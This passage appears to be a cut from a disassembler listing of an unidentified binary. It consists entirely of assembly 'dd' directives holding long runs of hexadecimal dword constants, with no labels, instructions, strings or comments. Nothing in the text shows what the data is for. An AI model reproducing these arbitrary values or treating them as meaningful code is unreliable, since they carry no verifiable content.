8B4CD3h, 46FB3741h, 0A56A0895h, 2AFB300h dd 34C12842h, 3F990FDBh, 29008241h, 199BA39Ch, 5400BB79h dd 11858C0Eh, 6F9160h, 0A6550F36h, 251C1F2Bh, 6824B201h dd 77FDA5AFh, 19FCF4h, 8DC9A122h, 63C7A416h, 857C9600h dd 46CA4436h, 19C100D8h, 3E42614Eh, 0FE006315h, 0E2FBEAC2h dd 0E9319Dh, 49A9C4E5h, 3A95116Eh, 22DB1500h, 7FE2DD86h dd 16540090h, 685079C5h, 0E902B64Ch, 527D374Eh, 0AECE60F6h dd 0FB4000Eh, 6ACC3EB9h, 0F7077C63h, 8926A281h, 78845010h dd 7C679E3h, 0E8C1DF36h, 0FAC5F0F2h, 0D0F9EB0h, 0E06DB3A4h dd 0D477B737h, 40DC00E9h, 1B76146Eh, 5DE846D5h, 3C9EA900h dd 2DBF33F4h, 6AD10078h, 8C950485h, 4250AFFEh, 230060D1h dd 0C6D33ADBh, 1C4F68A7h, 40B09F6Dh, 973DAE0Ah, 2301EAF6h dd 0A7C736BFh, 51EC753Fh, 0A3503EDBh, 8FB6F900h, 0EF5A8103h dd 0CDFE5700h, 0ED4DE0C1h, 3D330ECFh, 0C940D034h, 3698A670h dd 274CD903h, 8BF682FAh, 0F57480ABh, 0FC5C00ADh, 62493E05h dd 2700F914h, 8958B1C4h, 17D1B7h, 5C821652h, 0EEFB39F4h dd 38C37700h, 2580C68Ah, 3F2DF622h, 8603C536h, 2E87A328h dd 0EF1BDBC8h, 0FA9D3500h, 0B1D472B5h, 98430103h, 0F5E61395h dd 6F3BE019h, 0D74DB01Ch, 0A1EEFC00h, 9BCD38h, 656432FEh dd 332A10CFh, 0BF005D73h, 0ED8382BCh, 4EA715h, 4CA97F40h dd 0E43E3728h, 0F12F9ECh, 0EA0EEE24h, 6A30C047h, 7ACC5Fh dd 0B5ADEE6h, 0C1044A22h, 3D666F12h, 0E9763100h, 3BB9B2Ch dd 0F1532834h, 64F0E290h, 48735B3Ch, 0D1EC630Fh, 9C42207Fh dd 3CF78BA9h, 0A7803309h, 0EE55992Dh, 0F448A410h, 0AD6A0092h dd 0C80AA937h, 88190397h, 3EA61408h, 0C242F000h, 0CCDAA0F4h dd 0B2860095h, 5A7EA40Ch, 9EA1848h, 1382F002h, 404ECBD0h dd 5C0F5880h, 3100FBCFh, 0E9BC5F3Ah, 8F00CC49h, 0BF77437Bh dd 0F585D40h, 0D2B2F490h, 98E17A41h, 0FB67D001h, 3538F03h dd 0C03B1E60h, 7959FEEh, 4CC16E74h, 0F24A00D0h, 4375D468h dd 0CCF7C800h, 0E88C0CE6h, 363302E7h, 0DF8BDC18h, 0BFFB7CE0h dd 82961A00h, 0C3F5D0CBh, 4C0900F4h, 0C615751Ch, 743ACAA3h dd 70007569h, 1BADB22Dh, 4DF741h, 0E2AA949Eh, 8E95768h dd 37CC6726h, 93404900h, 3FD09Bh, 850CCDADh, 0D83DDCA3h dd 14EF2400h, 1E74B1B0h, 0CADD03C1h, 3E8FBC01h, 0F46032F0h dd 96730F00h, 2059AD40h, 7167000Ah, 0CF6127C8h, 603F33A1h dd 4B9480B7h, 0ED9DDD74h, 0F862002Bh, 3507C78Fh, 0C20064DAh dd 757FA444h, 7A6FB6ADh, 3697009Ch, 966171D8h, 0DC039D4Ah dd 0DB8E69CAh, 0B4B3B02Dh, 0AE5200F9h, 7161832Ah, 12005F0Fh dd 58CF84A9h, 46D47Ah, 5D13E50Eh, 5FF52823h, 624C481Eh dd 17DDB300h, 4D7DBAh, 0F8612270h, 33B1811Ch, 0A006F600h dd 4A6BE31Ah, 2A230035h, 52F0AB8Bh, 0BF015856h, 66532CA6h dd 5AF41E31h, 9F03004Dh, 0E950DEB2h, 0A4006083h, 14D53681h dd 78DCE2EFh, 5985002Ah, 0B1F5292Dh, 0A3001FF9h, 0C191C037h dd 90405F8Ch, 82150113h, 0F8E678C9h, 0AAA1E4F4h, 0D2BEE430h dd 6B33Ch, 1E3A51FDh, 40335FC6h, 9EF6900h, 190F8CCDh, 10760080h dd 0E4C3BC05h, 3F1E2C1Bh, 0E6C384B0h, 90ED3545h, 37F608h dd 5BC5DB57h, 0B67AFFD8h, 0A219A224h, 80D31100h, 1635245h dd 9537085Fh, 0DDDFF74Fh, 9693DCE4h, 49472000h, 0BC9189F4h dd 1BE0008Dh, 0AE44BA03h, 0F007C12Fh, 41A6C674h, 0DCA49C60h dd 9FD300FBh, 6FAD191Bh, 3A1CD25Fh, 0D682DDFEh, 0C0EC570Eh dd 3EEDB1C8h, 0B866BA2h, 50362E45h, 1021712h, 0D2A9B200h dd 2BBA48h, 24FC8A6Dh, 13A6720Ch, 4FC5530Bh, 4B6580F4h dd 5D16DAh, 0AC594875h, 4EA3C006h, 70C5320Fh, 0F0426301h dd 2E7B026h, 78D80004h, 0EF07E47Dh, 21EE8EEDh, 82C15B00h dd 3057432Dh, 5F8100BFh, 0BB87E420h, 0C901C76Bh, 6039AA0Fh dd 0D4DCE186h, 7EDC0083h, 0EE77F6E2h, 8E3FAF20h, 176D0026h dd 0D19D2968h, 57F4E3h, 0DAEFA0ABh, 34CE5DCBh, 2A001EF4h dd 7A3A6DE8h, 3BE09136h, 0EB005794h, 0D893845Ah, 0F100CB76h dd 78553570h, 3B737FFFh, 0C7809CF8h, 0B6249064h, 0F30E10FBh dd 7C2CD786h, 0FD5D0900h, 69DC97h, 6C6FC3CCh, 0CB61BEF9h dd 66C4AC1Eh, 0C51EA080h, 3A651662h, 0F59D0104h, 7DE50729h dd 0D4FAE0A3h, 8D004E7Fh, 0E102B8BCh, 3FD0A99h, 0BBB7426Bh dd 3D9A41Eh, 5846DC83h, 18285C07h, 2ED06EE5h, 3B8543Ch dd 603D821Bh, 5F16984h, 0DBBDD856h, 0DF15300Fh, 0C2966788h dd 149B06F0h, 0FA550047h, 0BA434EF7h, 0A000A9DEh, 7D03651Fh dd 1EB23422h, 963A8E45h, 0E62000B9h, 0BADC15Eh, 0FA83D700h dd 0BB6B0D63h, 3A86FCBAh, 9C584B1Eh, 6DDFCA0Eh, 4547F040h dd 0A53D5AD4h, 8933806Bh, 747A5D4Ah, 111E007Bh, 0ED30D571h dd 0A914C882h, 0DEEFE9h, 0C438025Dh, 0F169A22h, 924CCAF5h dd 0D9254180h, 7450D256h, 9F754FF0h, 0B4DD1900h, 843F1639h dd 0C5101CC3h, 0D08380BAh, 87F047CEh, 3EC6F81Dh, 0B9BF6800h dd 7D19E580h, 8BF658h, 2DA232A6h, 14610CE9h, 75F42A98h dd 2FA76905h, 0FC02662h, 1EB3FD7Fh, 0C022A2FAh, 0B060C976h dd 4F00E2D0h, 7F1FC6E6h, 4C9149h, 985A9BF0h, 15473FFBh dd 1E66EE05h, 4FC0EBA9h, 796FA0h, 54C08B06h, 19FBE55h dd 0BA3A1800h, 4697C59Dh, 75040BFFh, 6680DD5Bh, 0BBA20C3Eh dd 6BFCA700h, 10FFD72Ah, 0E840006Ch, 0F8D4EA0Eh, 25B82395h dd 3A74DE00h, 0D8AF24Bh, 448400F0h, 0B5401938h, 60003415h dd 0AEFE43ABh, 74C69EB9h, 0C92B011Dh, 0D8678059h, 6437FC2Ah dd 0BF653F04h, 0B9834D16h, 6796C0C7h, 0CE6601D1h, 735A18E5h dd 42BCC060h, 5801DD2Ch, 2430C601h, 82F47CFDh, 0C75100F1h dd 92EE1439h, 0A907B074h, 31F58D3Fh, 1EBC76h, 3CCA049Ah dd 0AAF8D898h, 0CCC6ECEDh, 0E44C5907h, 86EAF199h, 0C41F8A01h dd 66D8607Fh, 0E9B00051h, 0D60B596Fh, 9F008901h, 18CE12E7h dd 1EB49DECh, 80F8C4B3h, 0D729B6E6h, 7F035274h, 0ECA3C95Dh dd 0E840CF85h, 88EB3Ch, 0D4CEF50Ch, 515C48F9h, 66C6F300h dd 102AA46Fh, 0B94A0067h, 65DD5D8Ch, 2E3BDA19h, 0F30C0089h dd 0E9224EC2h, 0F7DB017Eh, 0F1A3BCDCh, 0BB10E843h, 25ADEC1Fh dd 79175240h, 39F46580h, 1DFFFDD6h, 0C090678Dh, 9E2DEF60h dd 221FDD6Dh, 918028ACh, 0D15FB747h, 0DB9F1DB8h, 4B668145h dd 0C1E0FD2Eh, 0E4062011h, 550FE3F2h, 0C0EC9312h, 4A451392h dd 0E1100003h, 3AF343C6h, 4B0ED144h, 0A3BD5ED9h, 0B081B553h dd 0F07D20Ch, 0BCF6D399h, 7DEDDCA0h, 0EC1D7AF5h, 0C6C425D8h dd 6D80CF45h, 0F4F7D62Bh, 7EE61CA4h, 0DC5500A3h, 3AACB2CBh dd 1C06FA3Ch, 1B0321B9h, 984ADB11h, 597B03h, 0FCA57598h dd 0C0E3B31Fh, 0A84EFF1Fh, 0B0290780h, 8C88C9h, 46E7B7A9h dd 378F62BDh, 9D3FB20Fh, 0BECA4080h, 7DD742B1h, 91D800D1h dd 6D514757h, 0DE00595Dh, 7743665Ah, 30C558B5h, 0A864982Dh dd 0E63C0A84h, 6006803Fh, 2975D3B9h, 7005FE35h, 97800F7Ch dd 6FE10B25h, 0F06992DCh, 0A00285Fh, 39CC5333h, 9CEC2Ah dd 72964C4Ah, 0D61755ACh, 0B8B48603h, 0D7F918A9h, 0E7CD380h dd 87D70002h, 0D9E6A062h, 970E4F20h, 0C0FCEBDFh, 617AD08Eh dd 0AAF207F4h, 537C0922h, 0C0A003BAh, 3B002189h, 0B0BF13C2h dd 0A9ACFBh, 0E7FD8BD5h, 9F0C5311h, 0D6FA8600h, 5EAF4DF4h dd 1D5B0295h, 3BB9343Ch, 2947C480h, 0BC009864h, 1BD09463h dd 0FBCB88h, 52D414DBh, 7F97B104h, 82710B00h, 8CFD0141h dd 4CE200FEh, 69541812h, 9C00AAE7h, 64A44FFh, 0FA2EDFh dd 7F83564Dh, 93E1E345h, 0D2822800h, 775C08D8h, 70FD3A81h dd 0F7533C73h, 7F52B00h, 59E865D3h, 1776BC00h, 94C71F9Eh dd 0DA6700B5h, 0EB500C1Ch, 0BC3D42A1h, 1D30023h, 6919C9F2h dd 341E0025h, 4FD4470Ah, 0FB0FD895h, 60B801E0h, 437B3248h dd 0E150739h, 0E00FBFAFh, 0ADC0F67Fh, 0A81C4900h, 71EA0B2Ah dd 0D090DCh, 9083C658h, 37E74A8Fh, 0B5C5C900h, 0F1236ABh dd 3CFD0053h, 45A15EFBh, 571E19E1h, 0B656DA8Ah, 0EFF90600h dd 0B51D4Ch, 0E3EB92FFh, 756DD1Fh, 41893107h, 8F53272Bh dd 0DF7C016Eh, 0FDA56552h, 882DE0D8h, 32006B75h, 80C35FFFh dd 0EBCCBE3h, 982B8C73h, 480F7F80h, 0DF011044h, 0C6AD85A1h dd 29D8F363h, 0E0B500E5h, 53F9A6D2h, 6B002DDCh, 0D4F4C6CEh dd 14346B8h, 4F222E4Ch, 6016D274h, 0CD00E56Bh, 0BF70610Ah dd 0E6EA148Ah, 0B0B7386Ah, 0C0B3E71Fh, 0FC77C6C9h, 1D00101Ah dd 3F6E01BAh, 1FEB4E40h, 7C46B503h, 0B4CB9A00h, 0A4AA784Ah dd 0C2000E71h, 93EF576Ah, 0E899411h, 0F46DFC51h, 4375FE27h dd 0DAE07167h, 0C503AD37h, 10D3C9A7h, 0D88988E2h, 0B9510FA1h dd 80FDEE7Eh, 902AAE98h, 551FA991h, 460099D4h, 6A2C05CAh dd 0C3D100C2h, 7C3931F8h, 61094936h, 80AA41E2h, 0FA8B94D5h dd 0D23500B2h, 0C031C386h, 0F701BCACh, 5522BB1Ch, 0ECF86811h dd 0F0FA0016h, 50C2F46Eh, 3C1DCDEFh, 0E400AF75h, 3133BA15h dd 8F0F009Ch, 1A01867h, 0AD002C09h, 78B2C512h, 63AE2Dh dd 954854A2h, 0CB1CC1C0h, 35592B00h, 289B460Fh, 38AB0C7h dd 9CD4C4CFh, 3DB025AAh, 5800D555h, 41870112h, 3EAFA304h dd 0A90167BEh, 323F0E2Ah, 0F0CE6024h, 0C1000998h, 933CED36h dd 1C7466E4h, 49A94A8Ah, 0E60069E0h, 0D5BE5906h, 75A8BD00h dd 82F71CB2h, 5B260329h, 712DF6D2h, 0D3115988h, 0B81B4500h dd 6030EF52h, 3A15008Ah, 81792B17h, 0E603F0A4h, 0B1711E38h dd 7DA79082h, 803A00F8h, 3D7C5F5Ch, 0A101B08Eh, 0D77EE4F6h dd 54F46DD0h, 0C5FD00D5h, 0D127EC96h, 0DD75B5D9h, 82C37B13h dd 8992C900h, 85608Eh, 0F2814131h, 170F157Ch, 0D9A99A00h dd 3FFD5D40h, 38F800D6h, 53577D3Bh, 0C600932Dh, 83D8ED41h dd 31A8FD4h, 16E9A2DFh, 0DBB8D22Ah, 145848BAh, 0DCD400F9h dd 85573A41h, 9DE039B4h, 0CF976D00h, 80352782h, 96694A00h dd 0DC5F080Dh, 0E477AFh, 98AA44F3h, 0DF1F7579h, 3B002CF8h dd 77A7DA78h, 20425Ah, 0ED4FF7E9h, 29F06A06h, 0C51AC600h dd 76C9488h, 75CF00D9h, 3EB033E7h, 0AE170EECh, 31007DAAh dd 6911A27h, 0E0AB0E95h, 61E0F5FCh, 89AAFF1Fh, 3C5B623Eh dd 8B01878Ah, 2EB0F3C2h, 7AB17Eh, 0D3CD959Dh, 0D2A6F684h dd 58B43205h, 0E0C37FA1h, 39AA9808h, 0D5270094h, 118F3B98h dd 41073D4Ch, 0BAC60D10h, 0D02A677Fh, 2E5116h, 63F6802Dh dd 5EE091D2h, 44703100h, 0D819F47Bh, 768A3CF5h, 0EC9F2700h dd 0F6F029F7h, 5950AF00h dd 14C76B86h, 0F94E0063h, 88929A1Eh, 5F58526Ah, 2C8B07D3h dd 64D0BFDEh, 80621Ah, 33B9B096h, 0B1F87513h, 0F6316300h dd 58C727FFh, 8F1200F2h, 40110DFh, 48055765h, 15A6401Ah dd 0D0B1B700h, 330FDE6h, 77C49DF6h, 7E867AAh, 0BA001F34h dd 78A312A5h, 1CBCE7DEh, 71A19Bh, 66231A39h, 1B00ECC0h dd 2254D64Dh, 0EA6411h, 6D6F5806h, 1CF08B68h, 0B073C400h dd 0A799CC90h, 0EE8F0056h, 0FADA5192h, 8300DD2Dh, 70B63622h dd 9A6041h, 0F08AD4EFh, 3112F69Dh, 0C6944207h, 0FC205CFFh dd 39D2B70Fh, 8F0F8739h, 198723A8h, 2A671024h, 0A700119Ch dd 78CD9FD1h, 1DA8B33Ah, 0C048AC2Ch, 0C90FBB7Eh, 3500B02Bh dd 53A53745h, 1CE612Eh, 0B8E3843Eh, 0C5F8CF88h, 0DFB5E058h dd 0C8AD300h, 26BF8B1Ch, 0E92A03E4h, 0B25A146Fh, 900F56C8h dd 1205DB00h, 60376AA8h, 82C60F33h, 3B401F7Eh, 23099A59h dd 6BE2F800h, 753EA561h, 95C20088h, 70131E6Fh, 9B007D01h dd 0F6B562FFh, 2F1B7Bh, 0A0BEA9FDh, 0FCC4B8DAh, 89861700h dd 8E0CF72Bh, 53C76F9h, 0DF69B918h, 789B8037h, 6448873Dh dd 0FF737CB5h, 3A0D7A0Fh, 0D5CB601Eh, 8D5FD6h, 0C14FA8ADh dd 2EF0EDD9h, 61203303h, 0C0CCACAFh, 3A19F5B6h, 2A006CDEh dd 0D33BDB99h, 6DE4567Eh, 2D51B02Ch, 1F246B00h, 480E5E34h dd 7000B6C3h, 780304E2h, 7A011E17h, 596107B1h, 88FF9CE1h dd 961557h, 26DBAEC9h, 91801614h, 0EA3DA3Eh, 0E13184ACh dd 0A89DCD11h, 3250CD8h, 74CA36E3h, 8DA0EB63h, 6B00F8A6h dd 0D1CEFBD0h, 2221FFh, 5AAD3531h, 0F03482DBh, 0B8BCCA00h dd 53A9E687h, 2F2C002Ah, 70FC88BBh, 5B0009B2h, 47D49FBAh dd 0E103Fh, 903AC534h, 0E8E4B8F2h, 0F7D3A800h, 40E12FF5h dd 19E6005Fh, 919AAEA2h, 0C7000F5Ch, 8A70BCC4h, 3A61D50Dh dd 2F80E8A4h, 495B017Bh, 21002D38h, 585E2AD1h, 0B4FED5h dd 0AF322BE4h, 0D658CC3h, 0FB614A00h, 0CC2C129Eh, 0C0BC00F1h dd 26E59663h, 7D0F998Eh, 81615CDDh, 0F265EE6Fh, 3998FC40h dd 0D6701F44h, 0C909C140h, 0CC0A3507h, 0AB006D49h, 44D8C4C3h dd 5461C8h, 2688F04Dh, 0BA24138Bh, 8055DB3Dh, 38760A19h dd 7412ED8h, 58E0661Dh, 0E2D7F0F3h, 0B00E18Dh, 9D045C47h dd 0AD6CF5h, 0C0E50686h, 0B3EE3484h, 7DC1E300h, 11C2C830h dd 0FA280EADh, 60C01D66h, 0A556C978h, 0F7256200h, 214B88AEh dd 5B7BC6h, 0FF269C3Dh, 41C8F52Eh, 0DA2F6B00h, 2DF7F486h dd 28B70065h, 10290761h, 0C6EC44F1h, 0C8188E00h, 1DD739CBh dd 4195002Ah, 0BEC52B53h, 0B800EBF5h, 672DBF08h, 205D2C0h dd 0D0259BFAh, 276026F7h, 0E103E29Fh, 7BB88DAAh, 0A4F0CFCCh dd 0F2147899h, 0CE7618h, 0BEAD88DCh, 46D4E1A5h, 47D5BA03h dd 9835BF27h, 254C6Ch, 0DA390476h, 3B890724h, 569D2003h dd 0E8C821D9h, 0F113BEh, 51ED247h, 1FAB999Eh, 322DDE01h dd 0BE7D5558h, 7A2A0C0h, 946B3A3Fh, 1CC320E0h, 9D00DCD3h dd 0C1EF76EBh, 3DF2990h, 1342BA04h, 7C0B102h, 0F100D3E9h dd 289DCBD7h, 15215h, 89EFF6CCh, 6949F8A1h, 18567500h dd 0D92C386Bh, 162400A4h, 2AF360EBh, 5838D189h, 0DFE5001Ch dd 0A698EA97h, 0D0BA0E3Dh, 0EFC06EBDh, 42010A71h, 0A5BC4C00h dd 0D7F32D24h, 3130003Dh, 0E7EF0B89h, 0B3003787h, 0DACC268Ch dd 3AD75F45h, 0DD00BC99h, 75B19DB7h, 920071C9h, 1A33F5D4h dd 587D6Fh, 63C328DCh, 31B7A2CBh, 0AA71D600h, 51EAC8FAh dd 2FC70013h, 7B230588h, 0CD000F92h, 2970A67Eh, 1430D8h dd 3E09B508h, 9E539A83h, 7B2BF458h, 9BE62700h, 5C8B69C5h dd 2CE895h, 0A6102264h, 0AE19376Ch, 0BBAA8300h, 0A4077FFAh dd 8DF50005h, 1C01E025h, 511D2A0Bh, 34268C93h, 0C00EB40Eh dd 6FD48540h, 9D230075h, 0E086E13Ch, 0FD006568h, 32669996h dd 48293437h, 0B73E41F8h, 309C279Ch, 0D7ACFC5Eh, 670B38h dd 29E71E9Ah, 90771Ch, 0E05CC656h, 0BAA37D64h, 0DC00F87Bh dd 9F177E32h, 0B70DDEh, 23C2E1D5h, 0D7BA030Ah, 0F4C8D226h dd 80DABB39h, 3B20D461h, 2EC513h, 9BCC1547h, 0F1F8D549h dd 0EC2BC1EBh, 0BE00A1DAh, 0B9858B2Ch, 58D412h, 9FC2488Dh dd 0FB9D3E6Eh, 1CDCAA3Eh, 4B8003F0h, 0D8CB924Fh, 51190034h dd 25067C80h, 0E00095BBh, 8F4A3B7Dh, 0E0EFFDF4h, 284E07A2h dd 30A7E4A0h, 5B1BB302h, 0F907BF73h, 0D89ED68Eh, 7B244E30h dd 0F65D003Fh, 1C9F552Ah, 13007D4Bh, 0E5314A0Eh, 77FC0FE9h dd 6F4330C8h, 426616CEh, 5F5E710Fh, 0A6C78585h, 0B1CF5680h dd 0FB40008Fh, 0C6D9797Fh, 5A70650Bh, 0AF6E4Ch, 4610128Dh dd 3E843Dh, 3A814011h, 4FC60376h, 33F70600h, 7CE2A634h dd 1E14906Bh, 4FE32250h, 0B1603D42h, 549E4F70h, 0DB929617h dd 34A40107h, 5A21BE50h, 85EA1C4Ch, 14688023h, 0A67BAAB4h dd 58B30F01h, 697049EEh, 398605C8h, 30F8944h, 56409176h dd 0B336BB01h, 0BDC8DC05h, 3BC0D802h, 76CD8CA8h, 56FE2607h dd 389037Ah, 60874F88h, 0C5A2368h, 1FA8FBE1h, 0C517118Dh dd 5A004555h, 92D63ACFh, 6D8B0731h, 0B7BA15h, 1C6E5E2Fh dd 0C502100h, 260C544h, 2CCB016Ah, 0DE5CFDCh, 59DFC38h dd 0D36138h, 979A9B75h, 56377Dh, 0DBB6AB2Eh, 52C5D953h dd 94392D00h, 36D5E85h, 0F4BA00C7h, 0FB279B9Ch, 3600C42Bh dd 4199E4C8h, 0DE5C3Eh, 5EC7CEA8h, 0EC9E0B90h, 0E10D2900h dd 2E9CAA4Bh, 0B93000AFh, 1CE4B721h, 930035A4h, 0D4C6861Eh dd 69F13Bh, 438D3624h, 0D34478FCh, 5042A00h, 0ADF5DB56h dd 0B45B00F4h, 542DD495h, 70006BABh, 97627355h, 0FE7CA1Ch dd 7FFEA44Ch, 0B9D78DC0h, 5E003C43h, 0A9B2C96Fh, 8FD060h dd 65871831h, 61E1237h, 43016C72h, 46A60B5Ah, 42F89A32h dd 21AA039Ch, 6A9BCED3h, 0ADF63FA8h, 5DBF3600h, 5CDFD02Bh dd 9F0D00BBh, 8AA07467h, 7B07F8B0h, 1655174Bh, 0D0C1D173h dd 0E8EEAh, 0E6F042B6h, 0A79007F3h, 41B330Eh, 587B804Ah dd 81C075h, 767E8F28h, 6520CD32h, 0F6EE4C00h, 0BAFEABDEh dd 86F301AAh, 16E13746h, 9E26DC6Ah, 14D5B950h, 0A4BBAB03h dd 0E83ADAC4h, 0E5E9B44h, 46EC8C17h, 53A5EA80h, 38FCFCCEh dd 3DEAC35Ch, 3E16005Fh, 65693CEBh, 4D700366h, 1D61552Bh dd 0D7040BD0h, 0E3EBB41Eh, 780E7240h, 3E146Ah, 13C0B37Eh dd 247C3D82h, 95D6ED01h, 0F00784D7h, 98A4FFCCh, 93470030h dd 0BCFE8831h, 411CD842h, 5809875h, 0AAB699F7h, 9DB80024h dd 72583FAFh, 0AB0F64B4h, 0C0D012D5h, 0ECC0719Eh, 1D5CE2D1h dd 0D80C5Dh, 7F4AC18Dh, 41009A46h, 173A892Eh, 0EF9B4h dd 0EB77A9EDh, 127DD6CAh, 0A53CE00h, 0DEE13DB6h, 6B1530A2h dd 95F04E1Ch, 11AA3600h, 0F842EED8h, 0C7E300EFh, 0DC2A6E16h dd 0F34CD0E4h, 4DE900E8h, 755E9823h, 2ECF029Ah, 95A9B1CCh dd 0AC23960h, 81595A07h, 5EE1A6EDh, 54C8E3C4h, 52BE0046h dd 0F66AB626h, 8900A3B3h, 8656841Fh, 1E68666Ch, 83B98049h dd 775C7547h, 67F259D0h, 0C0DCB802h, 0E0B2AEEAh, 739E929h dd 7F1D958h, 9E7A3FAh, 0FC971AD8h, 0CFA72305h, 0AF003751h dd 0FFD559B4h, 0D4F256h, 0F2E98A3Eh, 63531B85h, 94586603h dd 0B7245B29h, 0A57CD5D0h, 0C234502Fh, 9A571D0Fh, 6D154082h dd 0B5F2E30Dh, 6A99470Eh dd 890860C0h, 0B7F9E0h, 53C3F060h, 2684BA51h, 92791C00h dd 279164EFh, 0E0FA00CDh, 0D4580A7Bh, 0FD00C432h, 875F073Ch dd 0D3492h, 887010BDh, 94D29DDAh, 0BA0725EAh, 7CF0787Eh dd 0E0EF1530h, 7F630037h, 59F2C4E5h, 36008E1Ah, 0D1F8D01Fh dd 6AA779h, 66A81932h, 0D5C583F5h, 0BF0F2C00h, 99D8C362h dd 418A0013h, 94649CAh, 0F798F856h, 0EA3BE700h, 0D4F1BBB1h dd 80F2004Ch, 9B0BA5ACh, 0B500750Fh, 8266C5BDh, 488AC9h dd 4F581F31h, 0A452CCDDh, 0EA67B700h, 0F4BD62Dh, 2E7403h dd 3CDEF509h, 625D56DFh, 40DC8800h, 7C9F4725h, 691A01C5h dd 0CEF7E8CBh, 0E4B5DCB7h, 3686381Ch, 9D37FF40h, 3721362h dd 6A09EA95h, 96A07F2Ah, 16005CD7h, 92A49873h, 0F40C4160h dd 0C2DB0083h, 3AE7F036h, 0DA003911h, 20305B8h, 3857C98h dd 1AFF7697h, 0CD98AE2Ch, 0AC1D5F9Dh, 2780A0DBh, 0A538B97Ah dd 4C7100B4h, 0BE99A677h, 7B3AC6FCh, 0C05680E4h, 0B3794695h dd 37B50057h, 0F8BD6F48h, 2400ADDCh, 0F58CAA70h, 0D77EA3h dd 0AFC471Eh, 9E766815h, 87B92200h, 0F34073C3h, 0B726003Dh dd 0AEE87862h, 5D00DECCh, 43BDFC58h, 327A320h, 0DCB9E79Dh dd 8AF8120Ah, 0CA00F1FAh, 0FC60CBFDh, 77A5745h, 20598DA3h dd 0E9D6F0EFh, 0B43CFD38h, 2C4F00A1h, 0DF17BE62h, 0C85B002Ah dd 1A0268ACh, 0C30008B7h, 19A0D050h, 1C4CA170h, 802F7AE0h dd 0EF280CEh, 5800694Dh, 308A605Ch, 7393BBh, 8FE2B674h dd 94E418B2h, 720D8D07h, 0E360DD8Eh, 59630h, 42E293DBh dd 0EA454E35h, 9E7D6100h, 0D46BBEC3h, 49A500EEh, 201BE56Ch dd 0BF02AECEh, 35AC5B38h, 56B960F8h, 0B5203A9h, 772B105Eh dd 2F428FE0h, 96ABBC03h, 0F04E04DBh, 4014A6h, 3705DC11h dd 809E2EE6h, 0ED79E200h, 9312BB75h, 92B90F48h, 0F9A1AC1Ch dd 0D4C25241h, 0FF0054EDh, 6DF1B451h, 8F2F49h, 0CBBD7337h dd 87C51F44h, 3C087B07h, 24098F0h, 1E9E4FCh, 0E00E1A78h dd 0C0D41B7Ch, 45B090AAh, 273D4F00h, 0A473C40Bh, 20F6009Ch dd 8D31B1F3h, 1903E502h, 0FED4D267h, 10A5E8B8h, 5D1B0FAAh dd 0D0AFB150h, 9648100h, 71006E26h, 0C3C95F45h, 1E3E9685h dd 410BA8B1h, 0BD1CADBEh, 0EEBAF05Eh, 57C9D600h, 562374D3h dd 2B190003h, 59DE26EFh, 5B008005h, 0BC6E7E55h, 0EE465Eh dd 1F93D1EDh, 1E8FFA2Bh, 15872600h, 8AF66188h, 2CE8A0CCh dd 274600C8h, 932DDF44h, 0B60098D9h, 0F016A253h, 0ECE5F3h dd 0F68FA877h, 51493FDFh, 26108503h, 80A5CF3Ah, 0D6AD9Ah dd 64B56D9Bh, 0A32DA4D5h, 3D48F100h, 2CD1546Ah, 59D800E4h dd 8464F00Bh, 0FD5A264Ah, 8FB32600h, 0AA350Ch, 62545A6Ch dd 0CA89703Ch, 0FD010D00h, 0ADC3C86Dh, 0B60C0173h, 2B31C540h dd 0A32B60B7h, 81D4B7Fh, 1400B34Fh, 0DC078083h, 22B0586h dd 0C09E887Ch, 0AE215638h, 0B761B303h, 0C3A4356Ah, 0B263F778h dd 0D466F0F0h, 7C3703EAh, 0C82A3C13h, 0DB444D0h, 3D9A1100h dd 0F38779B2h, 9E55008Ch, 0B69D1CBEh, 53E23B38h, 0CD71B00h dd 0C2B589E9h, 0FBBF0142h, 3C039593h, 0CAC680A1h, 4281DAEh dd 41E7725h, 5BD03B17h, 6C8808Dh, 733A771Ah, 3EED8088h dd 0C4CC2DA1h, 0E660501h, 0C0E7729Ah, 0C57EB742h, 0F6A5C100h dd 33210CEBh, 946E1D66h, 75B100F2h, 20E3930Bh, 48D3B800h dd 153C8690h, 0AB63038Fh, 0F0B47DE5h, 70383680h, 0A0694F01h dd 1B49B2B3h, 7818AFD0h, 1987E61h, 0F391D464h, 0D876F727h dd 0B1015644h, 30E7ECFDh, 3ADC4170h, 0BE5102E0h, 0BD5B28B0h dd 0F9278FC0h, 92073DF8h, 0C11FBF74h, 80C46FA0h, 33F41C41h dd 4A533Fh, 0AC98876Fh, 1E07C0FAh, 71752D66h, 38B15BF0h dd 0EB49005Fh, 60A0130Fh, 591E5CB0h, 34C0766Fh, 9B17F779h dd 0A965000Ah, 0B7ACF192h, 0D09597Bh, 802DCA33h, 0AF9CC1A1h dd 0F952007Dh, 28D14131h, 0F0E8486h, 60F067AEh, 451F9CFCh dd 12AB01EDh, 0BF02D488h, 78E5E48Bh, 0AD999200h, 0A5E360F6h dd 0CDAA024h, 0BEAB0091h, 0B03D8B73h, 85001527h, 0A3716AFh dd 0B063D2DEh, 1E981F20h, 0A3EE4036h, 0BF4CCBEBh, 0FF737100h dd 3C06B187h, 0CA5000Fh, 891E6022h, 0BD00D353h, 3B6D10FEh dd 0AAA98Ah, 0DB5D5B09h, 0CBDDAB7Dh, 98D7AE07h, 605EA3A5h dd 0E5B75E73h, 0B970E138h, 0B97B00BBh, 1D1B8E56h, 2B50CEF0h dd 7600ACACh, 3326BC5Bh, 7A484Dh, 7CBFB1F4h, 1159364Bh dd 8AADFF02h, 408CDE66h, 0E2F8C5ABh, 89471446h, 87009697h dd 272E7E42h, 7F031BBAh, 82A32859h, 0B0DE9BD5h, 9C7748h dd 8FF36A93h, 6D985689h, 0C8145A03h, 0B831A41Eh, 44526Fh dd 0DA6A668Ch, 0C123F39h, 0AE400203h, 0BFADFAF2h, 78C0AFA7h dd 0A7FC13h, 0F00D33A9h, 359F4BB3h, 5AEAB1E0h, 0A242A000h dd 5B62F302h, 311700D3h, 0FAE549E0h, 0A3FA33DDh, 0F60D900h dd 0A65D8EF5h, 0E7230063h, 81D84AA5h, 0FC1F7DCAh, 56802EAAh dd 5401151h, 0A8A4009Ah, 0C546185Fh, 0C200F749h, 0DB552948h dd 85E51Bh, 0A247749Bh, 8DFE6496h, 600D898h, 6BCB34C5h dd 484C9D44h, 3D01797Ch, 0B6192F35h, 0D6B4F8BBh, 2E00B2F8h dd 3A780B46h, 75DA78Eh, 0FB04BF96h, 0D0829718h, 0E6B6B413h dd 1038CE6h, 0AAC551C0h, 0C5D2EB6Bh, 330FD300h, 0FADDFCE8h dd 